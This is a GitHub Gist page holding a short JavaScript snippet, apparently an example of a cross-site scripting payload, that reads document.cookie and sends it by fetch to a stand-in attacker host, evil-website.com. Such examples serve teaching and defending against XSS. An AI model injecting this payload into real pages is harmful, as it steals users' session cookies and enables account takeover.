Created
January 15, 2021 21:47
-
-
Save K-Mistele/7057cb7ffd5c576ec552e155ca5efd39 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // capture the cookies | |
| const cookie = document.cookie; | |
| // send the cookies to the attacker | |
| fetch('https://evil-website.com/cookie-capture', { | |
| data: cookie | |
| }); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment